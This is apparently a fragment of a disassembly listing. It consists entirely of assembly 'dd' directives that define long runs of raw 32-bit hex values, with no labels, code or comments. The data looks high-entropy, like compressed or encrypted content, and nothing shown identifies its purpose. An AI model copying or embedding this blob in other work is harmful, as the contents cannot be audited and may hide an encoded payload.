		dd 297A81BBh, 0FE9ADF7h, 4EDD82D2h, 0C1B74004h,	0C4A56304h
		dd 6B3BEFD8h, 2BBE17h, 6CD343BAh, 3F9CF953h, 840013C0h
		dd 0E771D48Bh, 5000FAE5h, 0F44E8647h, 6196575h,	392A68ABh
		dd 0C10031FBh, 8ED3FA2Dh, 3027A60h, 0FC242151h,	45E8CFCAh
		dd 0CD012F2Ah, 9D9FF176h, 65F4346Eh, 0AEEEFBh, 209870A9h
		dd 4CEA444Fh, 0FF00A671h, 0BC75F5D8h, 16F81Eh, 6B6C69Ch
		dd 0DFAF5802h, 4F25E801h, 0B0457D46h, 0B98B864h, 71F7C9BEh
		dd 7810F88Bh, 90241B10h, 0EB0E9483h, 4425810Fh,	0A820DA4Ah
		dd 106E241Dh, 5C8980C4h, 0B60D31BDh, 0BE472C16h, 1F1C3000h
		dd 5DB0DBh, 0FC60032Ah,	0FB19C70Ah, 5CAFD700h, 0E2070F6h
		dd 0FE32741Fh, 0AD51044Ah, 0B010F59Ch, 670F16D8h, 40B26470h
		dd 9054C052h, 0F41E1DB3h, 9784403Dh, 0F3E0F0CFh, 6FED0503h
		dd 0D0CEA089h, 204B2Bh,	0DE1C93Ah, 4A7E6A9Bh, 0FDC66B09h
		dd 887800E9h, 30223B5h,	0EB38D740h, 0FBB0E209h,	7302961Fh
		dd 2E683731h, 20E14070h, 69FCDAh, 0C619852h, 39674A2Dh
		dd 6A142103h, 0A8172646h, 765E7Eh, 0B1A33809h, 62863A88h
		dd 0AF87BA04h, 14E0FFB4h, 5F051327h, 8E350031h,	0EE3055D3h
		dd 12F5720Eh, 7CA8407Fh, 0EFB1E0h, 0AA0EB48Ah, 47AE113Fh
		dd 4C6EA103h, 0F8D17EEAh, 994EE8Bh, 5E84D7E0h, 0EBA2B40Eh
		dd 0D0527671h, 82A7F03Eh, 98A4BEDEh, 747AE1h, 0BD6391BFh
		dd 0BB6193D6h, 0AE3F50BAh, 0B55B80D2h, 0CC5EBED3h, 72C30059h
		dd 77C662C0h, 0B304A646h, 3D969DCBh, 0A3B91090h, 0D8BA10h
		dd 3F5D018Eh, 325CF195h, 8801B094h, 7AA4B4FBh, 0B02430BCh
		dd 0DD9F007Bh, 1BCBF223h, 1845E900h, 0B95531F1h, 0A6803FD5h
		dd 389D5680h, 11E8897Bh, 0DCF5BC1Ch, 95996240h,	299835h
		dd 2F6CA55Ah, 0F8BBE928h, 0F0ED44A1h, 0F0051F9h, 0C3B4332Ah
		dd 3E3CE9h, 34310CA7h, 0AB9C55B5h, 0F2533A28h, 20A3F029h
		dd 5CD99200h, 28369546h, 540CEBBCh, 0AF7C9Ch, 13A0F060h
		dd 3A41453Bh, 15240500h, 817AA90Fh, 0EAA61E62h,	0D842C7ACh
		dd 2F378084h, 0F8043B56h, 82119593h, 0C845BC93h, 0B76A57h
		dd 255380EFh, 70FA3EC7h, 30003C7Bh, 8EA3FEB8h, 18CC4B2Fh
		dd 38CBFDFBh, 900F829Fh, 81B16602h, 0F7A2AC12h,	0C09AF560h
		dd 4C4E17B1h, 5005E34h,	0A5C143FFh, 0A01C2B29h,	1FBD3D68h
		dd 17E10C80h, 10E201E6h, 0CC87C68Ah, 0DC4A3541h, 202DE00Eh
		dd 0FC9E1C52h, 33F007B2h, 0C1329C81h, 0E8BE7DCBh, 5C003196h
		dd 0EB7B43CFh, 4B8F9DDh, 0C9BB4C95h, 8008BC10h,	0E645F62Ch
		dd 9BCA0F32h, 9ADD3558h, 9BC1B14Ch, 1FB8BC12h, 0DB00642Fh
		dd 0FBE50FFEh, 0E9801FC4h, 0EBA980F0h, 372D1B14h, 9F5E3AC1h
		dd 0FC0C146h, 23D700B2h, 0CDE29401h, 0A300ED28h, 97B00721h
		dd 0D2E53Bh, 2324BE77h,	0ADF31F78h, 30C060E6h, 0B7B109A0h
		dd 523F1DCDh, 40EE1CABh, 313214C2h, 0F2CC3AAh, 0E0008334h
		dd 0B9E1B429h, 56460099h
		dd 0A368F36Fh, 0B700C3BCh, 0F1FC695Ah, 32B916h,	29CF4706h
		dd 86F96101h, 45DF3Fh, 0F317FA2Eh, 7F6E96C6h, 0B36B0E63h
		dd 5A20C276h, 6ED0C6Dh,	944FF304h, 9C80F23Ah, 9828F897h
		dd 0C61C0057h, 52BDCACFh, 6105C984h, 0F1393E5h,	0A2E90478h
		dd 0FE041714h, 0ECD160Fh, 0CC778094h, 0D7181Ah,	1008244Bh
		dd 8526FAEEh, 16995600h, 1386E696h, 1D9D32A4h, 0CE10C829h
		dd 0E5EA8882h, 0F1654C88h, 1A10BC02h, 21BC8B80h, 0E01259D0h
		dd 89812D10h, 483C4102h, 94299063h, 3E8D519Dh, 4474C426h
		dd 7E84B860h, 83A896Bh,	6C2E4402h, 71192284h, 0F3113E42h
		dd 7501130h, 216EA811h,	34380852h, 11288494h, 36216FC5h
		dd 9035DB08h, 7AE58428h, 1F428A48h, 51C222Fh, 4C04400Fh
		dd 3DEAB1A1h, 58007BE0h, 326FDC81h, 0D100C11Fh,	7D1ABE8Ch
		dd 0CCDA9Ah, 2D7A3B16h,	30FA885h, 0BD7BD800h, 0B6E63A68h
		dd 348E3A57h, 43E08800h, 85E8E183h, 0F50CBC00h,	8033797Ch
		dd 634A00DAh, 876AAC92h, 0BC0676E0h, 5393150Dh,	0E9F80010h
		dd 54E19EEh, 0D8246B5Dh, 0BE803099h, 0FB8FD5B0h, 497E008Dh
		dd 0BF38F236h, 0E4187121h, 1540658Bh, 31CA0C91h, 7E67CA2h
		dd 3C5B4F00h, 5E427028h, 990B0057h, 9A04BE1Eh, 11E0F1F0h
		dd 69003B70h, 738AE4C0h, 1EC759h, 2B4E537Fh, 0DB0C8D28h
		dd 74923A7Ah, 8621EA18h, 79A392D9h, 0A47D0011h,	0A1B4FD14h
		dd 595C723Bh, 0FFDF0077h, 0A2FB63AEh, 44620EBDh, 2C373C8h
		dd 5A98D5A8h, 0B5007285h, 6CFB5C0Ch, 0FC0804h, 0AA10D45Dh
		dd 0B588455h, 3E221F03h, 0C953507Ah, 0D3E1DA13h, 2126F0h
		dd 0FE68BCFDh, 5C494FE1h, 2DC98103h, 886691CDh,	0F00BC6h
		dd 0F74093E4h, 0DD9C0627h, 637B79C0h, 15E6C1h, 0AFBC2348h
		dd 0DDB83A9h, 0BD059D7Bh, 1E4A8660h, 0FEABF301h, 91F8C6A0h
		dd 44FA3A41h, 2F8705BBh, 0D06518A2h, 24119368h,	0C202C573h
		dd 62B7859Dh, 7A53E038h, 7C6628B1h, 33390088h, 7B016436h
		dd 8D037D9Bh, 0A7DD8589h, 0E05EF3DBh, 5C37A3C1h, 3B28EA9Fh
		dd 0D19602D8h, 8587B435h, 0AE548880h, 36C116FDh, 52714234h
		dd 24C035FCh, 0C4B31h, 0FBAA6BFFh, 0FD015A9Ah, 2F7B9C3Eh
		dd 9C6469E6h, 956507B3h, 0E75CBAC4h, 0FC0ED0C0h, 6B006781h
		dd 2E0DF8DAh, 3695D6Ch,	27AC9DDCh, 0C000581Dh, 7AA10944h
		dd 7212B2Ah, 81666BB6h,	64882054h, 0C9004DDEh, 9B707824h
		dd 0FC62588Ch, 22B807CEh, 535616EBh, 0D1A0F8DDh, 3200DE0Dh
		dd 1E431ADAh, 601B53C6h, 38ECF066h, 7B00C8CBh, 5019A239h
		dd 73377A97h, 64100E8h,	0B06A7820h, 11026F15h, 72DD3BA7h
		dd 0A28080CEh, 2E6E1273h, 0AD20B1h, 14057110h, 0F800DC39h
		dd 25F489A5h, 1DAF2D5h,	88A1A86Bh, 0E4B6DD4Fh, 412E8FD0h
		dd 3B00D2C5h, 9903293Ch, 0A10100CEh, 0F613F735h, 0B714339Eh
		dd 51A49A47h, 8A14247Bh, 301CC000h, 9CFC6176h, 60FF01D7h
		dd 3A9EABF9h, 6DBBDC9Dh, 5ADB3701h, 0EFC8A64Dh,	3D1ACD70h
		dd 0FC01889Ah, 91AE7796h, 0E3E420E4h, 223D00B8h, 822A007Ch
		dd 0F5115CE6h, 5DCA464h, 2D8D5E8Eh, 0CC126Fh, 0EF0CF624h
		dd 0DA03634Bh, 9939CD1Eh, 9FF298AFh, 0C6BD008Fh, 1DE410EBh
		dd 94E64D7Dh, 450A2426h, 3FA3C800h, 0A503F1h, 0EEDDC118h
		dd 0DB9F9AEAh, 0B3BD5D00h, 0AACD99F6h, 0E6D0001Ch, 4BC2F3C3h
		dd 0C6009018h, 8F86A951h, 0C05B5025h, 0F3BBE058h, 0AC00F7EAh
		dd 10927C6Ch, 0E38DB0Ah, 2A232DC5h, 0ABA65101h,	59A4409Ch
		dd 0A8A08847h, 0C0002CA1h, 20CC8CD8h, 68753Ch, 0AD09E05h
		dd 0D6BD396Eh, 3B7FC4C0h, 0B23F1Dh, 93D877DAh, 7379D27Bh
		dd 5C3C400h, 9C36842Ch,	4961007Ch, 0B27EDF67h, 0B00E5127h
		dd 0E087128Bh, 0E6F11E83h, 3E42F0F8h, 724BEAh, 0C79C3711h
		dd 0BF5605A1h, 5F00E272h, 67F1DC91h, 0DB7599h, 1CE8EBCAh
		dd 0B61AFC93h, 0C5BB3016h, 0ABD53207h, 7479F940h, 33771350h
		dd 225A0743h, 200FE71Fh, 1AABA427h, 542D6C03h, 0EFC68388h
		dd 196D94E0h, 82B70058h, 7AAD8C0Ah, 111E662Eh, 0A99890ABh
		dd 0E5137D8h, 1D850D70h, 0C07BA3E0h, 2100AFC9h,	0B5758D42h
		dd 0C36AB3h, 0BB391FF4h, 8218B83Fh, 0F047A40Eh,	4BE3E0CAh
		dd 0E9473B5h, 37DD0F2Dh, 6C43AE60h, 0C00097C9h,	5DD58478h
		dd 3EBCE23h, 9AD37396h,	74A0A8DDh, 0CB00A9C7h, 72D8B7BAh
		dd 71DDAh, 9E4C02CCh, 71936378h, 5BBCD100h, 3D1B4D52h
		dd 0AD201EABh, 4A89C5F2h, 0EF81C002h, 0DA00BA6Eh, 3A5B358Bh
		dd 3061224h, 988CC6A5h,	0D5D02BFCh, 3800CCA9h, 26730974h
		dd 0D6316h, 0ADCEB786h,	0F9BFF3E7h, 0F4852128h,	4540E072h
		dd 7EE50083h, 0DA937D56h, 0A30F2A54h, 60E7CE12h, 79E42CDDh
		dd 0AD0E2549h, 9700C8D4h, 60801162h, 56A901BCh,	0C4D5AE2Fh
		dd 0A90EBE2h, 86EE8598h, 9CCB0202h, 40167054h, 944A45h
		dd 0E6685DCAh, 48F1EDAAh, 6AD89Dh, 74107C36h, 0E4AE207Ah
		dd 0BF2D3E00h, 0E9DAC411h, 0CA2107A9h, 0E0E15F07h, 3E95EC3Ch
		dd 0B63853E4h, 0AE1480A3h, 7BAA8D89h, 1EF90525h, 0D277D5h
		dd 97E1BC86h, 0F00082Dh, 57A98EADh, 27D035h, 19B0B4Ah
		dd 0C3B22CDh, 79231D5Ch, 8900B6F0h, 0D63895C8h,	1C74F9h
		dd 0B2509F2Bh, 5730368Bh, 14DAF600h, 3D7955FEh,	0E641002Fh
		dd 85A8832Ah, 0B99824F5h, 68C2E903h, 0C86049CBh, 0E626C5B4h
		dd 5AFB002Dh, 573E3989h, 3A03B1EAh, 0CAAFA93h, 0FB379094h
		dd 28801469h, 4C288095h, 89D4EFBCh, 203203DFh, 0E14A63DDh
		dd 818BD6A1h, 3B705921h, 57D4EE8Ch, 31671F5Dh, 0A41500A8h
		dd 0B139BFFAh, 765E6200h, 0A3294F1Fh, 245B3F6Dh, 80B9A6h
		dd 0D997710Eh, 7200C677h, 829156ABh, 1AF3E04h, 16906110h
		dd 0FCF1BE3Dh, 0B80096A2h, 329AE269h, 0D1B462h,	246D9239h
		dd 689BDAABh, 7EFBD000h, 78552916h, 5DB3013Bh, 1845F17h
		dd 0B66C20FEh, 0E9CDFD00h, 4E6EC792h, 0AB234830h, 0AD80D700h
		dd 4CE53B09h, 0A81C7078h, 0B4801D39h, 91DE7DD8h, 78F6BDh
		dd 1A321874h, 0A6236455h, 6C8DCE24h, 0A9015C02h, 5A60685Eh
		dd 0AA4E1F93h, 1706262Ch, 0B3E7009Ch, 41BE489Ah, 0C2227100h
		dd 55080D67h, 0B1FD0094h, 22BE9F3h, 0BCA09CF8h,	5B133CDDh
		dd 32003F47h, 2AB0D265h, 4B62B55Ah, 80B87884h, 9D370F99h
		dd 119FC600h, 8CFC72C7h, 587D00BFh, 88E7F452h, 18008239h
		dd 44D76B5Eh, 2DAB0Ah, 0FC82CB4h, 7F43ACD2h, 3B0A753h
		dd 0E9DF2507h, 61448080h, 21D300EDh, 6250688Eh,	0E3007B02h
		dd 0EBE1141Fh, 0A49A8Bh, 666C1837h, 38B46B7Fh, 0C7ACF500h
		dd 99E7C261h, 0C0E002Bh, 0D9CF1917h, 9E60FFD4h,	8A471F8Ah
		dd 2D3300FDh, 0EBEA3F14h, 8490A94Ch, 52C52900h,	0B75BF57Eh
		dd 39D2001Ah, 0D3B3C317h, 95005D72h, 0B4FCD17Dh, 0E669CDABh
		dd 2693B00Eh, 0A3A10Bh,	46E44E6Bh, 0B004EFCEh, 0BEA35A3Fh
		dd 15E68481h, 30C3DD5h,	316DC614h, 137F00ACh, 2E4F632Ch
		dd 97E603C9h, 89E1E77Eh, 59782100h, 0A6F3067Fh,	8D1C1E99h
		dd 0DEE6C0FAh, 79FB187Ah, 7B5D03Dh, 1B3495A5h, 0F95FF9C3h
		dd 1420F215h, 0A6370350h, 0BDA70D49h, 94B96AC0h, 9E28C300h
		dd 2F656FE0h, 0AA61079Bh, 0C7E9ADh, 0D498B9A7h,	471E3B00h
		dd 162BDC5Fh, 0F8E101F3h, 0B4A6BE9Fh, 52B270A3h, 61CA7F01h
		dd 0A8954A91h, 20CDA440h
		dd 2CE200FEh, 0E88753C4h, 1E1CB39Dh, 0C2C03ED6h, 607DA64Ch
		dd 695600D5h, 0D06B4FCEh, 0C0BAD6Dh, 1082Eh, 4B62B36Bh
		dd 7E9C0A4Ch, 0A4BFFFh,	0A521B142h, 2E6FD9Fh, 0A948ED00h
		dd 0A6B9E4B8h, 0F37C88h, 0A16F584Ah, 5EE81B83h,	0DFD48200h
		dd 27EB1D7Fh, 24F24C93h, 68BFE10Fh, 0D094B580h,	3E1DC176h
		dd 22420D8Eh, 83BC19ACh, 0D138BD94h, 52DC0414h,	0E8C63DF7h
		dd 4F5CDF00h, 7760FCFBh, 7FF12618h, 1118C111h, 5FD43Eh
		dd 4DAFC2AAh, 2AEC3B7h,	0EB13A346h, 0C940907Dh,	3CEA17ABh
		dd 0FCB5B000h, 0D5D148C9h, 47AC0255h, 3E4025A3h, 0B1D00040h
		dd 77ED241Dh, 6F3AA583h, 87D48901h, 3BC91024h, 0C080FF1Bh
		dd 0EA82FA22h, 4D3C8404h, 0EBBC0002h, 0EFBAA8E2h, 0CB0C0E3Fh
		dd 1396986Ah, 5D6C5E43h, 15FC0037h, 92697504h, 95C834Ch
		dd 8948DAC8h, 98B0006Dh, 0EB8E50h, 998866C1h, 0D9D364FEh
		dd 0C1F2B00h, 9E9D39ADh, 0E03D0186h, 539CFBD8h,	0DDA270F2h
		dd 0F725100h, 76DFB471h, 2C5500E3h, 0E6579E85h,	5F01A4BFh
		dd 0A310A128h, 0C600BFAh, 2353038Ch, 8460B92Ah,	0D4711DC8h
		dd 877B4Ch, 11F647D5h, 0CF67BBh, 5863A843h, 8FE82F02h
		dd 750F2575h, 6001533Bh, 425D9A20h, 6A8602A3h, 0A6E743A1h
		dd 968023C3h, 71C0C4D8h, 421C8F38h, 69C985Ch, 0C71EA7C2h
		dd 6C00C8E9h, 0C1D23C51h, 0B82407D3h, 91490EECh, 18A05BE1h
		dd 0EFCFA177h, 994E4C0Fh, 55E0007Ch, 7E729CDh, 0A049214Ah
		dd 13F6F134h, 698CDC7Dh, 160777E2h, 3CCF2499h, 5BB19C11h
		dd 21230E0h, 53727BF5h,	9061A375h, 6B6C7095h, 0AE3C7402h
		dd 8147D4F2h, 0B030D5A2h, 5CDCD320h, 3A3AB97Eh,	0C74EF580h
		dd 0A2B7CE70h, 0FC838F26h, 245CC100h, 54C356h, 0AE34400Dh
		dd 25774613h, 45D1A2Eh,	0D2038420h, 0DC18D0A9h,	40BAB0B1h
		dd 21FD007Ah, 818A66C3h, 0EE00C763h, 0D6F998EBh, 6F350Ah
		dd 5732C93Eh, 0A12B4D12h, 5B556E00h, 8CECB52Dh,	9A056026h
		dd 59378652h, 0CA3CA016h, 20554C0Fh, 3892C4BEh,	0AC7B006Ch
		dd 6840A1C1h, 3C01F543h, 0E5220E53h, 72CC3101h,	0FAC10045h
		dd 1AA4D081h, 5200461Ch, 4C75C64h, 4941E2h, 26CD224Bh
		dd 3E280729h, 0F45F3502h, 4027CB7Ch, 815090h, 0AD82D108h
		dd 0D5A1B755h, 1CCAB0Fh, 57268037h, 0E394BFh, 0E19A786Eh
		dd 45E2BA95h, 1984C900h, 0F91BCC4Fh, 24C20081h,	35C78808h
		dd 0DE3A8D0Dh, 70EA5828h, 4C9A1700h, 0B6F9DC25h, 36C1003Dh
		dd 884DF3A4h, 0B200646Dh, 381B5FF4h, 41EA6Fh, 81774BA0h
		dd 251F31E9h, 72C1CA00h, 54C2EEE1h, 0E680015Bh,	2060BB2Ch
		dd 1870F016h, 2555F800h, 1AD41C6Ah, 0E50A0462h,	0C02C2D24h
		dd 0AE8FCE6Dh, 0F0090F6h, 0EC293BE0h, 0C52306h,	7C5F9BF7h
		dd 0F2218D20h, 0C7311401h, 2F390EE5h, 37D0FCh, 87C830Bh
		dd 43237129h, 2ECE6F58h, 18006151h, 35B26703h, 0F6B9130Eh
		dd 0BD1449ABh, 55A0E800h, 3C2EB6D9h, 0C3006B04h, 2446D8F7h
		dd 0E8F90015h, 121FB701h, 0A803B3BFh, 0A03658D0h, 406C821Ah
		dd 98A505B4h, 11BB033Fh, 98019EBh, 0C0C874A7h, 6FF1E48Ch
		dd 0F25C7D14h, 0AD00A86h, 0A026DD95h, 91AF8E00h, 26F4563Eh
		dd 808C62BFh, 0DB8C722Bh, 13EE355Bh, 201CC926h,	71D47E00h
		dd 0C01776BFh, 0E7C43940h, 1E1FAB4Dh, 60039910h, 1EE4CC5Ah
		dd 409ED998h, 0ACC4D7D0h, 0DF00CF93h, 79F7A634h, 76A3AD3h
		dd 7A6B184Ch, 616C3045h, 5A00A88Ah, 9FC35549h, 93D2Dh
		dd 0B8020F6Fh, 0F38648A0h, 0B08AEA1Dh, 0D98A800h, 0E54269h
		dd 0C6674A2Bh, 3293FBB6h, 0D1AE5300h, 24033BA5h, 83750142h
		dd 6321E8F8h, 0A9F3FC47h, 330BB500h, 71B7C04Fh,	1E381E13h
		dd 42DC40D3h, 7F18BC32h, 6E9EB207h, 0BEA0CD26h,	0A0ACC337h
		dd 0B7C91DCh, 1070F5CAh, 0B65C0180h, 3C0F3B8Fh,	60D5EA4Bh
		dd 397549F2h, 0E2450003h, 819C8716h, 0FA0918F1h, 0C6D51Ch
		dd 2864B5C0h, 2AC116F0h, 9ED400BAh, 0CA7A368Dh,	0D9C6A11Fh
		dd 0DA340E03h, 0A0C0AC22h, 0F86167h, 0EA8B7636h, 0A30E3E19h
		dd 63627400h, 0A2D63F40h, 8C2300CDh, 8EC5165Bh,	2C1389B0h
		dd 54000E18h, 552B746Dh, 0C46700B1h, 489DF9A8h,	0E60E2377h
		dd 0F7E2C902h, 4E254000h, 4A2FE9h, 47FFBB39h, 0C7A4D99Ah
		dd 42C9B48h, 84127515h,	0E1AF7BC0h, 1227B4Ah, 0F387EB41h
		dd 0C8EE89A5h, 0BF01EA03h, 3390327Dh, 91D4101Dh, 0D3FB00BAh
		dd 70DD5DF3h, 0C000A154h, 0B7AA5C4h, 0E2464BADh, 3DCB0663h
		dd 0F829DD50h, 96F7E000h, 0FE8B9E13h, 768960Dh,	30DC0AFDh
		dd 0B51811B2h, 48D7EA12h, 8090D4h, 24675CC4h, 9580977h
		dd 0AC022E83h, 0D6E3E1CBh, 85D6AB8h, 0CEEFC500h, 0EB5671F4h
		dd 8ECF0351h, 0B3C64EECh, 0A8E93A01h, 0C22A32Fh, 50358870h
		dd 79C8C1Ch, 347DB175h,	385E3092h, 0AE3CD174h, 97DF8055h
		dd 61BB73CDh, 0DE709Fh,	765059C6h, 6E46AC2Fh, 0E840C91Dh
		dd 98F6A43Bh, 0AAE6FE0Eh, 813CDCF7h, 2C21BB4Ch,	0E2C0DD44h
		dd 0AD851842h, 7F9C8B3h, 0D6A1DA00h, 0D461667Ah, 0CA7C34h
		dd 0EBDE326Eh, 45644B83h, 378C6803h, 0F05607DBh, 2546D4h
		dd 0C47E0FA2h, 43D7D63Dh, 3547E51Ch, 12E100FFh,	4FC9382Bh
		dd 0D96B163Bh, 5A0C0164h, 0C435D33Eh, 4503D47Bh, 167D6A6Dh
		dd 5E38D03Ah, 0BDC200EDh, 94B0B11Ah, 77D8DEEh, 0C4374F07h
		dd 0CC708128h, 0B954C6h, 7922DDF9h, 6EFD6CB4h, 95D3A3Fh
		dd 0AF1705h, 7EA14DACh,	47A90061h, 0DA77FED3h, 4800A733h
		dd 0C9419EBEh, 0F0E1FD21h, 4DE902D7h, 0EE50EACFh, 8FAECC60h
		dd 10002AE2h, 0CCCBE033h, 487EFC23h, 0C202ACBCh, 26DDA231h
		dd 0CFB52848h, 35F4A972h, 977CBA03h, 0D3DA5569h, 9C08F01Ch
		dd 577203A5h, 0B8AE463Eh, 0AF6410F0h, 8EF27B01h, 2278565Bh
		dd 7344420h, 16A5A93h, 1BD7906Fh, 0D11DFDBDh, 47C0B751h
		dd 0E1708C57h, 0FABB0007h, 64AF42CEh, 0D0025F8Eh, 1E98B9B5h
		dd 7808C069h, 0F49C07A3h, 49AB7AADh, 0A312040h,	0C22FD000h
		dd 1BC97EE3h, 0E2193079h, 9FAA27C9h, 66F84401h,	92FAB3C5h
		dd 0FE1EC2D8h, 3BA00055h, 9E5C2CA7h, 0E90923C8h, 80AB80DEh
		dd 2EC5A230h, 49A10F84h, 0EEE02B72h, 46ADBB28h,	0DF180C00h
		dd 0DA270B48h, 65360FFEh, 0A8385C3Dh, 5A18A6DDh, 0A348B3F2h
		dd 0EC440B11h, 9180C823h, 4E6E4C5Ch, 5F2A1C3h, 698F973h
		dd 4364D180h, 4CC118Ah,	0A2B47650h, 0D17B0700h,	0D4735078h
		dd 977A293Eh, 0B75B4074h, 0C60C0190h, 91832F74h, 6E2A7DACh
		dd 320614Fh, 8DDEE209h,	0C8BFCF28h, 5201FE77h, 4A93F47Fh
		dd 78806888h, 1B7BC35Ch, 54073E82h, 1E9663BEh, 3D4828A6h
		dd 53057821h, 933138C7h, 62F824D4h, 2766C2Ah, 0BA04097Eh
		dd 730FEDF0h, 0EE486080h, 0CE9001DEh, 0C19E1BB0h, 4FA86039h
		dd 6BFF6302h, 0C2BF188Ah, 0CD9C0180h, 0E180CCE0h, 0E3268770h
		dd 5E03E502h, 1AA772D3h, 32DAC986h, 15B09450h, 0E940606Ah
		dd 0E060AB4h, 0D4F4E0C0h, 601C7A4Ch, 0AB2451E1h, 2FEA1F11h
		dd 946952h, 1BB7741Ah, 1ED2A06h, 0F6AAC909h, 50CE2EE0h
		dd 0C16795Ch, 0E8CB8B00h, 0BA835E9Ah, 974D00EBh, 4BA763C4h
		dd 0A818A18Ah, 32987C6Dh, 31611022h, 52B7001Dh,	0EFC12F07h
		dd 0B92C007Fh, 977233D6h, 7E059295h, 52F9F1E5h,	69088C04h
		dd 1CBB0CC1h, 7C5166F5h
		dd 0E9805D0Ch, 0A065AA13h, 0A4002F83h, 86C890D3h, 34CB62h
		dd 1B2953F4h, 0C194B154h, 0D87216F0h, 13AB4B00h, 12F8D752h
		dd 7AF60B79h, 0F380EE2Ah, 35901A7Ch, 0C22D4B1Eh, 0ACEA5080h
		dd 0E2E83Bh, 9C33BB8Eh,	28806607h, 9DBD6900h, 5F0292DCh
		dd 0B8E83E0Bh, 95B2FC80h, 0A1998DF0h, 0B3760A00h, 1F7247Eh
		dd 0D6C80FADh, 0EECCC77Dh, 0FF001810h, 0FB116BE5h, 336727Bh
		dd 0BF47DDFh, 7C02679h,	562C8DA7h, 0F9008F14h, 8CFCFB69h
		dd 0CC8F0053h, 4727C55Bh, 0E505D901h, 7F16F1DCh, 0D0F6E842h
		dd 0A0F8A025h, 2AEEA2BBh, 0F9C802Eh, 0C18836AAh, 0F80DF6C0h
		dd 6A013B9Ch, 1B832543h, 946137E0h, 227ACDCh, 6203F13h
		dd 6441DE0Ch, 81B040A4h, 72009C36h, 65B35321h, 619B7C7h
		dd 0B1F02006h, 8300400Ah, 0D7BD3E56h, 49F586Ch,	0F47E9B74h
		dd 1F5CAC1Ch, 0ACBC0CEDh, 130E509Ah, 51AFE0B1h,	34BBB8Fh
		dd 5F17F0F9h, 62B83F19h, 1E00446Fh, 28A74940h, 0E967FAh
		dd 9AF0B9F8h, 115D9574h, 6F377100h, 3CD7C308h, 63AD0440h
		dd 808D3442h, 0B0224C49h, 4762C500h, 1E30D57Ch,	507E003Ch
		dd 67F796B3h, 740AEBE3h, 0A49F16ABh, 8D91AA00h,	2D0E2Ch
		dd 0CF63C9EAh, 6BC36E4Bh, 131CAC9Eh, 3C2ACC0h, 2C1170h
		dd 8AB15F98h, 0EC573D35h, 0F212DF00h, 0E2D37955h, 9DFB00D9h
		dd 4AB79CFAh, 4101E76Dh, 7E288737h, 0D8531D10h,	529CF920h
		dd 0D8D59681h, 0C4282FDBh, 8F25A704h, 9D0F408h,	2CA062FEh
		dd 0CB8ADE93h, 0ADAA7F00h, 0CDEF9DFCh, 6396121Bh, 316C0360h
		dd 0EDC06D88h, 0B5079C99h, 43D29275h, 617D20B2h, 86D8E313h
		dd 547C00DDh, 5C8DF37Bh, 89605649h, 23AB1D54h, 0C35F1E79h
		dd 0B982C0BFh, 0BDF22742h, 8FBBDB00h, 0CAF313DFh, 0AAA31C73h
		dd 1DE38103h, 0DC65A91Bh, 0E0426D1h, 61054479h,	0BD192680h
		dd 0D932001Dh, 7597B207h, 438D16Eh, 0F94E80CEh,	0D3872DA0h
		dd 738C037Eh, 9FA50E3Ah, 0B6581890h, 25F18301h,	0E7776CCEh
		dd 9C4820h, 294786Ah, 1BF5D639h, 4AAC4200h, 812D24EEh
		dd 0EDCF0028h, 85E2043h, 0D424F2F7h, 820E62E1h,	0B9FCC3D9h
		dd 1FAAB804h, 685100F9h, 44264E65h, 3BE8A84Dh, 78F14B03h
		dd 0E00AE674h, 602166h,	0AA282932h, 6ECB04B6h, 57AC3B12h
		dd 0A6EBC005h, 0A900D89Bh, 961E2A57h, 7A00EB88h, 82A8342Eh
		dd 16B1B513h, 13DC2CD2h, 0DA5402E8h, 3CC89FCAh,	621E6C5Dh
		dd 75864A1Ch, 919EEBCh,	6D41982h, 0F262D490h, 0B372D000h
		dd 0BAB90F8Ch, 2AA22CAFh, 74E442E4h, 6F4B1468h,	270448h
		dd 0FC8F2272h, 21C06B3h, 12449AEh, 0E8CAA52Ch, 48726410h
		dd 53C9F5Ch, 0A279D25Eh, 0A7308481h, 0BE072C38h, 2146AB55h
		dd 2444FD1Ah, 4A2CF96Ch, 0E703E04Bh, 0CAB72842h, 38685A64h
		dd 0A1E2AF43h, 0C8209268h, 0F759A3h, 1B8E7AA8h,	622C1FEh
		dd 670A8600h, 44CC3E9Ah, 0D099C21Ah, 0B080D8DEh, 69BA8DF4h
		dd 6B180BECh, 5F822BB6h, 81A238B7h, 0CF6C6687h,	0CA78F0A5h
		dd 2F1DC9A6h, 8F9DAD80h, 93A442C7h, 388883DFh, 767AF375h
		dd 74F8E91h, 7F6FC405h,	399B2CB0h, 281843E5h, 94CFF933h
		dd 9EF50B00h, 9C3BBFB8h, 912307FEh, 60660E6Bh, 0B4FCDB41h
		dd 0DD32150Eh, 0A48FEA75h, 0EC008312h, 0B030BDC4h, 1C988Bh
		dd 6FCC2735h, 1F5D7F4Fh, 180E3B03h, 0C888E5BEh,	9470FED3h
		dd 8F1A80C4h, 0EDAD0D20h, 780CC306h, 1027DAh, 5E81D8Eh
		dd 0FB7D58B8h, 7EC69C01h, 7F123973h, 30385601h,	0DD005C85h
		dd 0FE1DB870h, 0FE2E287Ch, 9A1703C0h, 0B6D7A792h, 9B860788h
		dd 614A4E05h, 0DC528FD4h, 0CC15200Ah, 0F27AA080h, 1C5FBDE7h
		dd 0CAF5D09Dh, 8190FE7Dh, 0BAC39643h, 0C02E70C9h, 0A0D9DB03h
		dd 0C381E4B4h, 57500156h, 0C1069FA3h, 443C6Ch, 59E3825h
		dd 0B04E8B96h, 0BC350F38h, 0DA8FAEF3h, 3CE70F80h, 0B90F2B6Ch
		dd 0E051085Ah, 21478AFEh, 50A0007Ah, 94BD7EB8h,	3774A59Eh
		dd 74C34Ch, 0CEE61A80h,	1D460731h, 0F86D44h, 0C70C693Eh
		dd 271D2589h, 2CC595A4h, 0C902B01h, 284DC5h, 569080B5h
		dd 0FC5A1E8Bh, 0F052AD00h, 2D738496h, 421403BAh, 0AE06973Eh
		dd 3F592F80h, 0B61EF400h, 17EB8591h, 0CC6401F1h, 0FF7D7A2Ch
		dd 0DCE1C97Bh, 0AF00680Ah, 818DAA45h, 1D0D0FEFh, 0C2E364B0h
		dd 9BBE4D5Fh, 2A025040h, 0EC4D725h, 5EBB60F8h, 21BF994h
		dd 86A568FCh, 984056ABh, 0A9005A34h, 48A77084h,	7D070DE2h
		dd 67B000EFh, 0BB50AD8Dh, 0DC24317Bh, 4F053C91h, 58800492h
		dd 0E58FD32h, 9FC34419h, 7DD8CEC3h, 0F7D61590h,	50D0BD03h
		dd 0F09D7CE1h, 0B3015Bh, 0EC56141Dh, 9B48EE19h,	1CD96B5Ch
